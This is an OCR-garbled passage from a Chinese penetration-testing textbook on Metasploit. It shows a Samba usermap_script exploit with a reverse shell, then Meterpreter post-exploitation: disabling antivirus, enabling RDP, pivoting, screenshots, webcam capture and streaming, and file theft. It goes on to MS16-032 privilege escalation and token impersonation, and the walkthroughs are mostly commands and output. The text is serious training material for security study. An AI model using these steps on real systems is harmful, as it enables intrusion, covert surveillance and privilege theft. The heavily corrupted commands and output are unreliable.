输入以下命令即可使用该漏洞利用模块。

问sf > use exploit /multi / samba / use 「「「1ap_sc 「ipt

然后可以看到Metasploit命令提示符msf＞会变成msf exploit(usermap_script）＞ 。

使用如图5-10所示的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块，

因为目标是Linux机器，因此一定要通择Linux的攻击载荷。
~li exploit I I > show payloads 

Compotib\e Payloads 

Name 

cmd/unix/bind awk 
cmd/tmix/bind inetd 
凹d/unix/bind \ua 
cmd/un1x/bind netcat 
cmd/unix/bind netcat gaping 
cmd/unix/bind netcat gaping ipv6 
cmd/unix/brnd per\ 
cmn/unix/brnd per\ ipv6 
cmd/unix/bindJUby 
cmd/unix/brnd ruby ipv6 
cmd/unix/bind zsh 

圈子10 列举攻击载荷

Disclosure Date Rank Descr1ptlon 

normal Unix E。饥唱and Shel\ Bind TCP {'Ila A\•IKJ 
normal Unix Command Shel\. Bind TCP {inetd) 
normal Unix Command Shel\. Bind TCP {via Lua) 
normal Unix Command Shel\, Bind TCP Ma netcat) 
normal Unix Co,,.,and Shel\, Bind TCP {via netcat ·e) 
normal Unix Command Shel\, Bind TCP Ma net cat e) !Pv6 
normal Unix Command She\\, Bind TCP {via Per\) 
normal Unix Command She\\, Bind TCP {vla per\) !Pv6 
normal Unix Command Shel\. Bind TCP {via Ruby) 
normal Unix Com.,ond She\\, Bind TCP (via Ruby) 1Pv6 
normal Unix Com'1land Shel\, Bind TCP (via Zsh) 
、nrm;:r,l Hni v r，、rr:m;:r,n外 C.l'lnr>ri r fnmM 
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这里使用如图5-1 l所示的命令选择基础的cmd/unix/reverse反向攻击载荷模块。

且主Z exploit ( u si:- rma1＞＿♀E ri1>t) > set PAYLOAD cmd/unix／「eve 「se
PAYLOAD => cmd/unix／「eve 「se

图5-11 设置攻击载荷模块

设置被攻击主机IP地址，命令如下所示。

『『1sf exploit(user、『nap_sc「ipt) > set RHOST 192 . 168.172 .134 

设置漏洞利用的端口号，命令如下所示。

msf exploit(use「map_sc「ipt) > set RPORT 445 

设置发动攻击主机IP地址，命令如下所示。

ms于 exploit(user、『na p_sc「ipt) > set LHOST 192 . 168.172.136 

设置完可以使用如图5- 12所示的命令再次确认参数是否己设置正确， 。

E且Z exploit ( 11· 1 1 l ) > show options 

”。dule 。ptions (exploit/multi/samba/userrnap_script): 

Name Current Setting Required Description 

阳；osr 192 . 168. 172 . 134 yes 
RPDRT 445 yes 

!Payload 。pti。ns (cmd/unix/reverse) : 

The ta r百et add 严ess
The target p。 rt

Name Current Setting Required Descripti。n

LHOST 192. 168 .172 .136 yes 
LPORT 4444 yes 

图5-12 显示设置参数

The listen address 
The listen p。 rt

设置完所有参数变量后，输入攻击命令exploit或者run，如下所示，发动攻击。

ms卡 exploit(use「map_sc「ipt) > e xploit 

MSF发动攻击成功后会获取目标主机的Shell，为了验证该Shell是目标主机的，

可以查询主机名、用户名和IP地址， 并与目标主机进行对比，如图5-13所示。
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Ili

---- 

Ili

-- 

h。st name 
metaspl。itable 

uname ·a 
Linux metasploitable 2 6.24-16-se问＠「＃1 5问P Thu Apr lG 13 58 · GG UTC 2GG8 1686 GNU/Linux 

ifc。n fig 
et hG Link encap·Ethe厅iet HWaddr G日’ Gc·29 ·fa'dd: 2a

inet add r: 192 168 .172 134 Beast· 192 . 16日 172.255 问ask:255.255.255 a 
1net6 add 「： feBe: :2Gc :29ff: fefa ’dd2a/64 Sc。pe : Link
UP BROADCAST RUNNING MULTI CAST 问TU:l5日G Metric: 1 
RX packets 35日8 e rrors :a dropped :a 。verruns:G frame·a 
TX packets 3245 e rrors a dropped a overruns:G carrier a 
collisions G txqueuelen : !GGG 
RX bytes:273G91 (256.6 KB) TX bytes:4G4自92 (395.4 KB) 
Inte rrupt 19 Base address :Gx2GGG 

图5-13 攻击目标主机

攻击成功后，可以看到在攻击机和目标机之间会建立一个Shell连接，渗透

Windows系统的过程类似， 唯一的差别是选择的漏洞利用模块和攻击载荷模块不一样。

建议读者多尝试各种Exploit和Payload的组合，以加深理解。

防御方法： Samba服务漏洞发生在Samba版本3.0.20~3.0.25rc3 中，当使用非默认

用户名映射脚本配置时，通过指定一个用户名包含Shell元字符，攻击者可以执行任

意命令。 将Samba升级到最新版本即可防御本漏洞。

5.5 后渗透攻击 ： 信息收集

成功地对 目标机器攻击渗透后还可以做什么？ Metasploit提供了一个非常强大的

后渗透工具－Meterpreter， 该工具具有多重功能，使后续的渗透入侵变得更容易。

获取目标机的Meterpreter Shell后，就进入了Metasploit最精彩的后期渗透利用阶段，

后期渗透模块有200多个， Meterpreter有以下优势。

• 纯内存工作模式，不需要对磁盘进行任何写入操作。

• 使用加密通信协议，而且可以同时与几个信道通信。. 在被攻击进程内工作，不需要创建新的进程。
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• 易于在多进程之间迁移。

• 平台通用，适用于Windows 、 Linux 、 BSD系统，并支持Intel x86和Intel x64 
平A

i=1 。

本节将介绍如何利用Meterpreter做好后渗透的准备工作及收集系统各类信息和

数据。

5.5.1 进程迁移

在刚获得Meterpreter Shell时 ， 该Shell是极其脆弱和易受攻击的，例如攻击者可

以利用浏览器漏洞攻陷目标机器 ， 但攻击渗透后浏览器有可能被用户关闭。所以第

一步就是要移动这个Shell ， 把它和目标机中一个稳定的进程绑定在一起，而不需要

对磁盘进行任何写入操作。 这样做使得渗透更难被检测到。

输入ps命令获取目标机正在运行的进程，如图5-14所示。

图5-14 获取目标机正在运行的进程
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输入getpid命令查看Meterpreter Shell的进程号，如图5-15所示。

' meter …,- ＞叫d i 

Current pid: 984 

图5-15 查看进程号

可以看到Meterpreter Shell 进程的PID为984, Name为 138.exe ， 然后输入migrate

448命令把Shell移动到PID为448的Explorer.exe进程里，因为该进程是一个稳定的应用。

完成进程迁移后，再次输入getpid命令查看Meterpreter Shell的进程号，发现PID

己经变成了448 ， 说明已经成功迁移到JExplorer.exe进程里，如图5-16所示。

I t t …48 I ［叮 ｜飞'1ig rating from 984 to 448. . I 
［勺 Migrat ion completed success fun y. I 
meternreter > getpid I 
Cur r·ent pid: 448 I 

图5-16 进程迁移

进程迁移完成后，原先PID为984的进程会自动关闭，如果没有自动关闭可以输

入ki ll 984命令“杀掉”该进程。使用自动迁移进程命令（run post/windows/manage/ 

migrate）后，系统会自动寻找合适的进程然后迁移， 如图5- 17所示。

metern1·ete1· > run post/windows/manage/migr·ate 

[*] Running module against WIM-57TJ48561MT 
[ * J Cu 「 r·ent serve 1· p roe ess: 138. exe ( 1808) 
［食 J Spawning notepad . exe process to migrate to 
［＋］问igrating to 308 
[+] Successfully migrated to process 308 

图5-17 自动进行进程迁移

如图5-17所示，系统己经自动把原来PID为 1 808的进程迁移到308中 。

5.5.2 系统命令

获得了稳定的进程后，接下来收集系统信息。

先输入sysinfo命令查看目标机的系统信息，例如操作系统和体系结构，如图5-1 8
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所示。

Computer : Wifll-57T J48561 MT 
OS : Windows 7 (Build 7601, Service Pack 1). 
Architecture : x86 
System Language : zh_CN 
Domain : WORKGROUP 
Logged On Use 1-s : 1 

图5-18 查看系统信息

输入run post/windows/gather/checkvm命令检查目标机是否运行在虚拟机上，如图

5-19所示。

lmeteroreter > run post/windows/gathe1-7checkvm I 

IE "J Checking if WI!IJ-57TJ48561MT is a Vhtual. Machine . I 
山 会： This is a VMv.iδre Virtual. Machine I 
I • • I 

图5-19 查看是否为虚拟机

可以看到当前目标机正运行在一个VMware虚拟机上。

现在检查目标机是否正在运行，输入idletime命令后可以看到目标机最近的运行

时间，如图5-20所示。

I meter…> idl..etime 
User has been idl..e for: 29 mins 16 secs 

图5-20 查看运行时间

可以看到目标机正在运行，而且己运行了29分钟 16秒 。

接着输入route命令查看目标机完整的网络设置，如图5-21所示。
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lliall,.. ........组－－－••I•I配到

IPv4 network routes 

Subnet Net mask Gateway 

。 .0 . 0.0

127.0 . 0 . 0 
127 .0. 0. 1 
127.255.255 . 255 
192 . 168 . 172.0 
192 . 168 . 1 72 . 149 
192. 168. 172. 255 
224.0.0.0 
224.0.0.0 
255.255.255.255 
255.255.255 . 255 

0.0.0.0 
255.0.0.0 
255.255 . 255.255 
255.255.255.255 
255 . 255.255.0 
255.255.255.255 
255.255.255.255 
240.0.0 . 0 
240.0.0.0 
255.255.255.255 
255.255.255.255 

192.168.172.2 10 
127 . 0 . 0.1 306 
1 27 . 0. 0. 1 306 
127.0.0.1 306 
192.168.172.149 266 
192.168.172.149 266 
192.168.172.149 266 
1 27 . 0. 0. 1 306 
192. 1"68.172.149 266 
1 27 . 0. 0. 1 306 
192.168.172 . 149 266 

No I Pv6 rout es we re found. 
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Metric Inte 「face
111111 11111111111 

图5-2 1 查看完整网络设置

除此之外，可以输入background命令将当前会话放到后台，此命令适合在多个

Meterpreter会话的场景下使用。还可以输入geh1id命令查看当前目标机器上己经渗透

成功的用户名，如图5-22所示。

｜阴terore
S~r-ver‘ use r门ame: WIM-57TJ4B561 州T 飞 Administrat。 1嗣

图 5 - 22 查看当前权限

接着输入run post/windows/manage/killav命令关闭目标机系统杀毒软件，如图5-23

所示。

l……te u 仰st/w
[*] No target pr‘。c esses we r·e found. I 
meteror 

图5-23 关闭杀毒软件

输入run post/windows/manage/enable _rdp命令启动目标机的远程桌面协议，也就

是常说的3389端口，如图5-24所示。
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面I::111L•IUJICI.四－－－••1••••膏’哩’圃’画面f01m-"l'•11r.11r.回国四1r.iil－＝－••回

［我 J Enabl.ing Remote Desktop 
［情 J RDP is a11-eady enabled 
[*] Setting Termina1 Services service startup mode 
[*] Termina1 Se1·vices se 「vice is a1 ready set to auto 
[*] Opening po1·t in 1oca1 firewaH if necessary 
[*] Fo 「 cleanup execute Meterprete 「「esource fi1e: /root/ .msf4/1oot/201703041600 
32 default 192.168.172.149 host.windows.c1e 634781.txt 

图5-24 启动远程桌面

可以看到，我们已经成功地启动了远程桌面。

然后输入run post/windows/manage/autoroute命令查看目标机的本地子网情况， 如

图5-25所示 。

[ ：~ p tlwi d I g I I [ * J Running modu1e against 1-1If\l-57T J48561 问T I 
［勺 Searching for subnets to auto 「oute. I 
[+]Route added to subnet 192.168.172.0/2_55.255.255.0 from host's routing table. I 
meternrete「＞ • I 

图5-25 查看网络结构

接着进行跳转，先输入background命令将当前Meterpreter终端隐藏在后台 ， 然后

输入route add命令添加路由，添加成功后输入route print命令查看， 具体操作如图子26

所示。
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Active Routing Table 

Subnet Met mask Gateway 

192 . 168.172 . 。 255.255.255 . 。 Session 1 

图5-26 添加路由

可以看到一条地址为192 . 168 . 172 . 0的路由已经被添加到己攻陷主机的路由表中，

然后就可以借助被攻陷的主机对其他网络进行攻击了 。

接着输入run post/window s/gather/enum _logged_ on_ users命令列举当前有多少用
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户登录了目标机，如图5-27所示。

图5 - 27 列举当前登录的用户

可以看到系统有shuteer、 test 、 Administrator三个用户，而且Administrator目前登

录了系统。

列举了用户之后，继续输入run post/windows/gather/enum _applications命令列举安

装在目标机上的应用程序，如图5-28所示。

图5- 28 列举应用程序

很多用户习惯将计算机设置为自动登录，下面这个命令可以抓取自动登录的用

户名和密码，如图5-29所示。

阳te o e 

［齿］ Runni「19 击g inst WIN-57T J48561 问T on session 1 I 
［食 l The Host WIN ’ 57TJ48561MT is not configur『ed to have Autologon password I 

图5-29 抓取自动登录的用户名和密码
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可以看到，当前没有抓到任何信息。 此时就需要用到扩展插件Espia，使用前要

先输入load espia命令加载该插件，然后输入screengrab命令就可以抓取此时目标机的

屏幕截图， 如图5-30所示。

!!ill工立IJ2L旦玉皇f > sc r·eeng r ab 
Sc r eenshot saved to: I mot! o j JUEbgq. J peg 
旦旦玉立应正主主主.［ > 
(eog:5001 ): Gtk -WARNING W食： Theme parsing erro r· : gtk -widgets-backg r ounds . css: 121 : 

deprecated . Use :disab"led i nstead. 

( eog:5001)· Gtk -WARUitlG ＊食： Theme parsing en·。 r : gtk ->.,idgets-backgrounds . ζss : 122 : 
deprecated . Use di sab"led i nstead 

图5-30 抓取目标机的屏幕截图 (1 )

抓取成功后就生成了一个名为可JUEbgq的图片 ， 保存在root 目录下 。 这里输入

screenshot命令也可以达到同样的效果，如图5-31所示。

Im…reter > ~er叫ot
Screenshot sav d to : /root/LJlGGEjx.jpeg 

图5-31 抓取目标机的屏幕截图 （ 2 )

下面介绍几个好玩的命令， 查看目标机有没有摄像头的命令为webcam list，如

图5-32所示。

1meteroreter > webcam i.Ist I 
:1: Lenovo EasyCame 「a I 

图5 -32 查看目标机是否有摄像头

接着输入webeam_ snap命令打开目标机摄像头 ， 拍一张照片， 如图5-33所示。

meteroreter > 11Jebcam s nap I 
I · ] Starting … | 
[+] Got frame I 
l 。 l Stopped I 
Web cam shot saved to: /root/EfintZMs. j peg I 
meterorete 「〉 ｜

图5-33 抓取摄像头的照片

拍摄成功后可以看到截图同样也保存在root 目录下，我们打开看看， 如图5-34所

刁亏。
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图5-34 查看抓取的照片

输入webcam stream命令甚至还可以开启直播模式，如图5-35所示。

lmeteroreter > webcam stream 
门 ’ l Starting … | 
门 ·］ Prepar·ing player .. 

们 Opening ~~~~er at: Kz川mVy.html i 

I [. l St 「earning.

图5-35 抓取视频

用浏览器打开上面给出的地址，如图5-36所示。

Met画pl。It webcam_stream · 192.168.1.179 ·”。Zilla Firef·。x

.; Meta邓lo忧 webeam” stre. ＂ 、生

I· flle:l//rooUKzlDymVy.htrnl 一一一一一旦J jQ. Search J 合自。

因Most Visited •’ii Offensive 知圳、Kall Linux 、Kali o。cs 、Kall Tools 回臼plolt-DB ‘Ain
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图5-36 查看抓取的视频

还可以输入shell命令进入目标机Shell下面，如图5-37所示。r , hll I Process 1996 created. I 
Channe1 2 created. I 
Mic roso ft Windows M汾 6. 1 7601 J I 
~i;vφ＋＋ （ ζ ） 2009 Microsof t Corporation~vvl;v~ I 

图5-37 进入目标机Shell
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最后输入exit命令停止Meterpreter会话，如图5-3 8所示。该命令还可用于停止Shell

会话并返回Meterpreter 。

mt?t<?rDrt?t <:>r· ＞ 号 ht?l.l.

P roe 号SS 1 996ιr号at<0-d.

G1 :mn<:> l. 2 c r<:>at 号d.
Hiζrn~，oft 内irid•J"S ［ ~；分 6. 1 7601] 
~！；~~~－ （ ι ） 2009 Hiζrn soft Co rpo r a ti on（，~（，（，~（，l;(t(,(,(, 
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图5-38 退出Shell

5.5.3 文件系统命令

Meterpreter也支持各种文件系统命令，用于搜索文件并执行各种任务，例如搜索

文件、下载文件及切换目录等，相对来说操作比较简单。 常用的文件系统命令及其

作用如下所示。

pwd或getwd ： 查看当前处于目标机的哪个目录，如图5-39所示。

m号t01Dl0t 号 r > pxd I 
C: \U-::,0rs\.t..clminist 1·ato r 飞 Deskt op I 

I ln<?t 号 l [• r马吃斗 l I 

图5-39 查看目标机的当前目录

• getlwd ： 查看当前处于本地的哪个目录，如图5-40所示。

l m'?t'?ror － ~t'?r· > qgtl"':d I 

I/ r·oot I 
I r阴t g r p r gt g r· >’| 
图5-40 查看本地的当前目录

• ls：列出当前目录中的所有文件，如图5-41所示。
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旦旦玉立L且L旦玉立汇〉 "ls 
Lis ting: C: \Users\Administ r·at or \Desktop 

Mode Si=e Type Las t modified Name 

100777 ／广仇X r州xr-wx
100777 ／山〈「川 r-wχ
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图5-41 歹lj出当前目录中的所有文件

• cd：切换目录，如图5-42所示。

阳etero 「号ter· > pwd I 
问：＼ Users \Administrator\Desktop I 
『neterorete「＞ cd c :\ I 

[metero凹ter > p1t1d [ 
le:\ I 

图5-42 切换目录

• search -f ＊.以t -d c：＼：可以搜索C盘中所有以“ . txt”为扩展名的文件，其中J

参数用于指定搜索文件模式，－d参数用于指定在哪个目录下进行搜索，如

图5-43所示。

·’; ＇•.凡. • - ••• , .. ' ; －·禽飞. t - .j c \ 

: l :>G-1 n• ‘.·.: •• \ '. ... 

. ＼’‘＼飞＇. .·飞. t 

口’巧’ r f=; ,,‘: ＼.）习而f、？口 23·l5E:-p1orr·r \23·15王赠；tJ ：：；.~a~ 资问附 .td(3718b 、i tο ＇.；） 

＼；’1 ’户：：·＿ .-. .. \ 2345二二＇. t\2345Pic\2345组 m 王免王1 ;ti 嗣 t·~ (1986 byt•?S) 
。＼： ! l' ,.. ;:: : ' ...飞，＼.＇ 345三c: t \2345Pic \23·15岱［！］王 11! Yf 臼志. t• t ( 309 by t 陀、）
＼；，：：！广’：·＿，－.、人 2345二工 f t I札3:iZ1p\2345好 rt se i:岛声明 t . t ( 1962 t•) t 问）
\•'r ;r ’何 ' ''. •. , \" v‘、飞卢$ , .. 飞 . ~： ...飞’ r 。 T ο 
\; ! .二一； r.,·: '1'.c＜.＼＇， ~1.·.ar ＜：＞＼.~：内d rt? Tools\·:mactt1lo. t 只： (233 byt<?S) 

图5-43 搜索指定类型的文件

• download c:\test.txt/root：下载目标机C盘的test.txt文件到攻击机root下，如图

5-44所示。

|…'ot ec > downl oad c lteot. Vt I coot 
；可 do-.,.:nloading: c: test.t xt - > /root/c:test.txt I 
l'. clownload c.test t xt -> /root/ctest.t xt I 

图5-44 下载文件

• upload /root/test.txt c：＼：上传攻击机root 目录下的test.txt文件到目标机C盘下，

如图5-45所示。
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lrter-oreter- ＞叩load /rn… t xt c: \ 
l ‘ uploading . I mot /test. txt -> c: \ 
[ • j uploaded : I root/test txt - > c: ＼飞 test.txt 

图5-45 上传文件

使用上述命令搜索己被攻陷的目标机，可以获得更多关于目标机的信息 。

Meterpreter还包含很多文件系统命令，建议读者多加尝试。

5.6 后渗透攻击：权限提升

通常， 我们在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的

权限级别将使我们受到很多的限制，在实施横向渗透或者提权攻击时将很困难。在

主机上如果没有管理员权限，就无法进行获取Hash、安装软件、修改防火墙规则和

修改注册表等各种操作，所以必须将访问权限从Guset提升到User，再至iJAdministrator,

最后到System级别 。

渗透的最终目的是获取服务器的最高权限， l'!PWindows操作系统中管理员账号的

权限， 或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。

• 纵向提权： 低权限角色获得高权限角色的权限。 例如，一个WebShell权限

通过提权之后拥有了管理员的权限，那么这种提权就是纵向提权， 也称作

权限升级。

• 横向提权： 获取同级别角色的权限。例如，通过已经攻破的系统A获取了系

统B的权限，那么这种提权就属于横向提权。

所以在成功获取目标机Meterpreter Shell后，我们要知道现在己经拥有了什么权

限。

在Meterpreter Shell下输入shell命令进入目标机的CMD命令行，如图5-46所示。
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图5-46 进入CMD命令行
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接着输入whoami/ groups命令查看我们当前的权限，如图5-47所示。

图5-47 查看当前权限

从图5-47中可以看到，当前的权限是Mandatory Label\Medium Mandatory Level, 

说明我们是一个标准用户，那么就需要将用户权限从标准用户提升到管理员，也就

是Mandatory Label\High Mandatory Levelo 

下面我们就利用本地溢出漏洞来提高权限，也就是说通过运行一些现成的、能

造成溢出漏洞的Exploit，把用户从User组或其他系统用户组中提升到Administrator组

（或root ）。

溢出漏洞就像往杯子里装水，＊多了杯子装不进去，里面的水就会溢出来。而

计算机有个地方叫缓存区，程序的缓存区长度是事先被设定好的，如果用户输入的

数据超过了这个缓存区的长度，那么这个程序就会溢出。

5.6.1 利用 WMIC 实战 MS16-032 本地溢出漏洞

假设此处我们通过一系列的渗透测试得到了目标机器的Meterpreter Shell 。
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首先输入getuid命令查看己经获得的权限，可以看到现在的权限很低， 是test权限。

尝试输入getsystem命令提权，结果失败，如图5-48所示。

l一世 I 
Serve• use1name: "'Hi-57TJ48561MT1test I 
旦旦旦正阳王L红＞ getsystem I 

p1 iv_e1evate_getsystcm: Oper at1on failed: Access is denied. The f。11owing was attempted: I 
tlamed Pipe !mpe1sonation (In Memory/Adm工nJ I 
Named Pip号 Impe1 sonation (D• opper/ Admin) I 
Token Duplication (In Mem。 ry/Admin) I 

图5-48 输入getsystem命令握权

接着查看系统的己打补丁，传统的方法是在目标机的CMD命令行下输入

systeminfo命令，或者通过查询C :\windows＼里留下的补丁号“ .log”查看目标机大概

打了哪些补丁，如图5-49所示。

图5-49 查看补丁号

可以看到目标机只安装了2个修补程序。这里再利用WMIC命令列出己安装的补

丁，如图5-50所示。
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Caption De~r.1•1ption llnlFixID l11::t,d 1.,cton l 吐飞：http : //:;upport.nic1•o:;ufl.c:on/!l<hid 2!)31111 ltntf ix l<B?.!.:11111 l/./IJ//.111ι 

http://:;uppoi•t . nici•o:;oft .con/'!l<hid 9 ？ι9 02 ll pclil t." l<B9 '/(, 9” ?. 11/?.I /?.”1” 

图5-50 列出中｜、丁

同样可以看到目标机只打了2个补丁，要注意这些输出的结果是不能被直接利用

的，使用的方式是去找提权的EXP，然后将系统己经安装的补丁编号与提权的EXP

编号进行对比。比如KiTrapOD ( KB979682 ）、 MS I 1-01 I ( KB2393802), MSll-080 

C KB2592799 ），然后使用没有编号的EXP进行提权。 因为虚拟机不怎么打补丁，所

以我们可以使用很多EXP来提权，这里就用最新的MS16-032来尝试提权，对应的编

号是KB3 139914 。

相关漏洞的具体信息分析和共享可以参考如下两个网站。

• 安全焦点，其BugTraq是一个出色的漏洞和Exploit数据源，可以通过CVE编

号或者产品信息漏洞直接搜索。网址： http://www.securityfocus.com/bid o

• Exploit-DB ， 取代了老牌安全网站milwOrm o Exploit-DB不断更新大量的

Exploit程序和报告，它的搜索范围是整个网站的内容。网址： h即：／／www.

exploit-db.com 。

知识点： WMIC是Windows Management Instrumentation Command-lin巳的简称，它

是一款命令行管理工具，提供了从命令行接口到批命令脚本执行系统管理的支持，

可以说是Windows平台下最有用的命令行工具。使用WMIC，我们不但可以管理本地

计算机，还可以管理同一域内的所有远程计算机（需要必要的权限），而被管理的远

程计算机不必事先安装WMIC 。

wmic.exe位于Windows 目录下，是一个命令行程序。 WMIC可以以两种模式执行：

交互模式 Cinteractive mode）和非交互模式（Non-Interactive mode），经常使用Netsh

命令行的读者应该非常熟悉这两种模式。

• 交互模式。如果你在命令提示符下或通过 “运行”菜单只输入WMIC，都

将进入WMIC的交互模式，每当一个命令执行完毕后，系统还会返回到

WMIC提示符下，如“Root\cli”，交互模式通常在需要执行多个WMIC指

令时使用，有时还会对一些敏感的操作要求确认，例如删除操作，这样能

最大限度地防止用户操作出现失误。
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• 非交互模式。非交互模式是指将WMIC指令直接作为wMIC的参数放在

W阳C后面，当指令执行完毕后再返回到普通的命令提示符下，而不是进

入WMIC上下文环境中。 WMIC的非交互模式主要用于批处理或者其他一些

脚本文件中 。

需要注意的是，在Windows XP下，低权限用户是不能使用WMIC命令的，但是

在Windows 7系统和Windows 8系统下，低权限用户可以使用WMIC，且不用更改任何

设置。

W1哑C在信息收集和后渗透测试阶段非常实用，可以调取查看目标机的进程、服

务、用户、用户组、网络连接、 硬盘信息、网络共享信息、己安装补丁、启动项、

己安装的软件、操作系统的相关信息和时区等。

接下来准备提权，同样需要先把Meterpreter会话转为后台执行，然后搜索

MS16-032，如图5-51所示。

图5- 51 搜索模块

知识点：如果搜索不到最新的Exploit，可以输入msfupdate命令进行升级 ， 获取

最新的Exploit模块、攻击载荷，或者于动添加相应漏洞EXP C详见第5.7节）。

执行以下命令选中MS16-032这个漏洞，然后指定“session”进行提权操作，这

里我们指定服务“sess ion”为 “ l气如图5-52所示。

Im豆I e:<p1oit( ) > use ,.;indo,;s/1oca1/ms16_032_s<?condary_1 。gon_hand1e_privesc
I E立t e:-:p1oit ( ) > set sessi。n 1 ' 
I s~ssion •> 1 
I E主工 Qγp1。it ( ) > .-un 

图5-52 设置模块参数

最后直接输入exploit或run命令即可，如图5-53所示。



医理Eml!Dll ) > run 

[•] Started reverse TCP handle r 。n 192 . 168.172.138:443 
［合 J Writing payload file, C: \Us<>rsltest\Desktop\FQR"白；u1. t κt 

[ • J Comp r<>Ssing script c 。ntents ... 
[+] Compressed size: 3580 
[’] Executing exp1。i t SC r ipt. 
[*] Sending stage (957487 bytes) t。 192.168.172.149
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[*J Meterpreter sessi。n 2 。pened (192.168.172. 138:443 -> 192.168.172. 149:58817) 
at 2017 - 03-28 22:48:26 •0800 

[!ti:回回···＝...........幅圃’因坦.........!L ....副伍国菌研t.•::111＇＂＂＂＇••际.. 

＇＂＂盘里...量.. 昌盈’am;;司

图5-53 进行攻击

根据返回的信息可以看到己经创建新的session ， 并提示提权成功。接着查看这个

Meterpreter Shell的权限，己经是SYSTEM级权限了，如图5-54所示。

l!Jleternreter > getuid 
ISe rve r use rname: MT AUTHOR I TY飞 SYSTEM

图5-54 查看权限

防御方法：这个漏洞的安全补丁编号是KB3139914，我们只要安装此补丁就可以

了，也可以通过第三方工具 F载补丁包打上该补丁。

知识点：为方便提权，下面附上笔者收集的部分系统对应补丁号，如表5-2所示。

表5-2 系统对应的中｜、丁号（部分）

Windows 2003 Windows 2008 Windows 2012 

阻2360937 1MS I 0-084 阳3 I 399I4IMS16-032 阻3 I 399l4IMS16-032 

KB24789601MS 11-014 阻3I24280IMS16-016 阳3I24280IMS16-01 6

KB2507938IMS 11-056 阻3I342281MS16-0 1 4 阻3l34228 IMS16-0 14

KB2566454IMS 11-062 阻3079904IMS I 5-097 阻3079904IMS 15-097 

阻2646524 IMS 12-003 KB3077657IMS 15-077 阻3077657 IMS 1 5 -077

KB2645640IMS 12-009 KB3045 l 7 I IMS I 5-051 阳3045171IMS 1 5-051

KB2641653 IMSl2-018 KB3000061 1MSl4 058 陆300006I IMS 14-058

阻944653IMS07-067 阻282936I IMS13-046 阻2829361IMS13-046

KB9520041MS09-012 PR 阻2850851 IMSI3-05 KB285085lIMS 13-053 EPA THO BJ 

阻97 l 657IMS09-04 I EPATHOBJ Oday 限 32 ｛立 Oday 限 32 位

阻26207 I 2IMS I 1-097 KB270751 l IMS 12 042 sysret 阻27075 l l IMS12-042 sysret -pid 

阻2393802 IMS 11-011 -pid KB2 I 24261 IKB227 I l 95 MS I 0-065 

KB94283 I IMSOS-005 阻212426 I IKB227 l l 95 IIS7 
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Windows 2003 I Windows 2008 

KB2503665 IMS 11 -046 I MSl0-065 IIS7 

阻2592799IMS11 -080 I KB970483IMS09-020 IIS6 

KB956572IMS09-01 巴西烤肉

阻2621制。IMS12悦。

KB977165IMS 10-015 Ms Viru 

KB3 l 399l4IMS16-032 

KB3124280队t1Sl6-01 6

KB3 l 342281MS16-014 

KB3079904IMS 15-097 

阻3077657 IMS 15-077 

阻3045 1 71IMS 1 5-051

KB3000061协t1Sl4-058

KB282936 l IMS13-046 

KB285085lIMS13-053 

EPA TH OBJ Oday 限 32 位

KB270751 l lMS 12-042 

KB2124261 IKB22711 95 

MS I 0-065 IIS7 

KB9704831MS09-020 IIS6 

5.6.2 令牌窃取

1 . 令牌简介及原理

Windows 201 2 

KB9704831MS09-020 IIS6 

续表

令牌 （Token ） 就是系统的临时密钥 ， 相当于账户名和密码， 用来决定是否允许

这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证

的前提下，访问网络和系统资源。 这些令牌将持续存在于系统中， 除非系统重新启

动。

令牌最大的特点就是随机性，不可预测，一般黑客或软件无法猜测出来。 令牌

有很多种，比如访问令牌 （ Access Token）表示访问控制操作主题的系统对象： 密保

令牌 （ Security token ） ， 又叫作认证令牌或者硬件令牌， 是一种计算机身份校验的物

理设备，例如U盾： 会话令牌（Session Token）是交互会话中唯一的身份标识符。

在假冒令牌攻击中需要使用Kerberos协议。所以在使用假冒令牌前，先来介绍
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Kerberos协议。 Kerberos是一种网络认证协议，其设计目标是通过密钥系统为客户机／

服务器应用程序提供强大的认证服务。 Kerberos的工作机制如图5-55所示。

认证服务器 AS
攻击者

图5-55 Kerbe「OS工作机制

客户端请求证书的过程如下所示。

• 客户端向认证服务器（AS）发送请求，要求得到服务器的证书。

• AS收到请求后，将包含客户端密钥的加密证书响应发送给客户端。该证书

包括服务器ticket （包括服务器密钥加密的客户机身份和一份会话密钥〉和

一个临时加密密钥（又称为会话密钥， session key ） 。当然，认证服务器也

会给服务器发送一份该证书，用来便服务器认证登录客户端的身份。

• 客户端将ticket传送到服务器上，服务器确认该客户端的话，便允许它登录

服务器。

• 客户端登录成功后，攻击者就可以通过入侵服务器获取客户端的令牌。

2. 假冒令牌实战利用

此时假设我们通过一系列前期渗透，己经成功获得了目标机的Meterpreter Shell, 

首先输入getuid命令查看己经获得的权限，然后输入getsystem，发现提权失败，具体

如图5-56所示。

l 川 l
飞C ! ·C·! ' i飞、ιp rumι ：. !'!· sn l 斗8 ＂、（； 1 川 T 气？。 t I 

＂＇三~5工J 工工f 主工 仔乎？，、 tι ，， I 
'I l '.' ＿ι1 ‘，才tι－＇ι飞也、 j 飞、↑ ιm l 、I 巳？九t lG＇，飞 n11ι才

!!amo,:I f- ir 巳 j ，，；句•－c 勺7丁； ~ 1 「 1 (]1, ：－！•川＇°，.， fι1罚二 f、） | 
lld<n“ ·1 F11：飞ι lrnr,•·····n 、吃 l c.n (i •飞f I 马旷 I. i川：，.， l I 
T八＋－？丁〔l飞Jf1飞 i '· d吃 l才）竹（ l I] f1Gmc.1 ,1.11m1n) I 

图5-56 输入getsystem命令进行提权



218 .... Web安全攻防 ： 渗透测试实战指南

我们先输入use incognito命令，然后输入list_tokens -u列出可用的token，如图5-57

所示。

!l!£1主E且L旦工立ι > use incognito 
Loading e:<tension incognito . success. 
~王三五且L旦工主主〉 1 ist_tokens -u 
[ - l war门ing: l·lot cur r·<ent1y running as SYSTEM, not an tok<ens win b<e availab1e 

Can r·<ev2se1f if primary process token is SYSTEM 

D<e1eqation T。ιens Availab1e 

MT AUTHOR TTY 飞 SYSTEM

泊’HJ-57T J-l日561MT 飞 Administrator·

Jmp<e rsonation Tok<ens Availab1 <? 

No tok<ens availab1<e 

图5- 57 列出可用令牌

可以看到有两种类型的令牌： 一种是Del巳gation Tokens，也就是授权令牌，它支

持交互式登录（例如可以通过远程桌面登录访问〉；还有一种是Impersonation Tokens, 

也就是模拟令牌，它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访

问级别 。

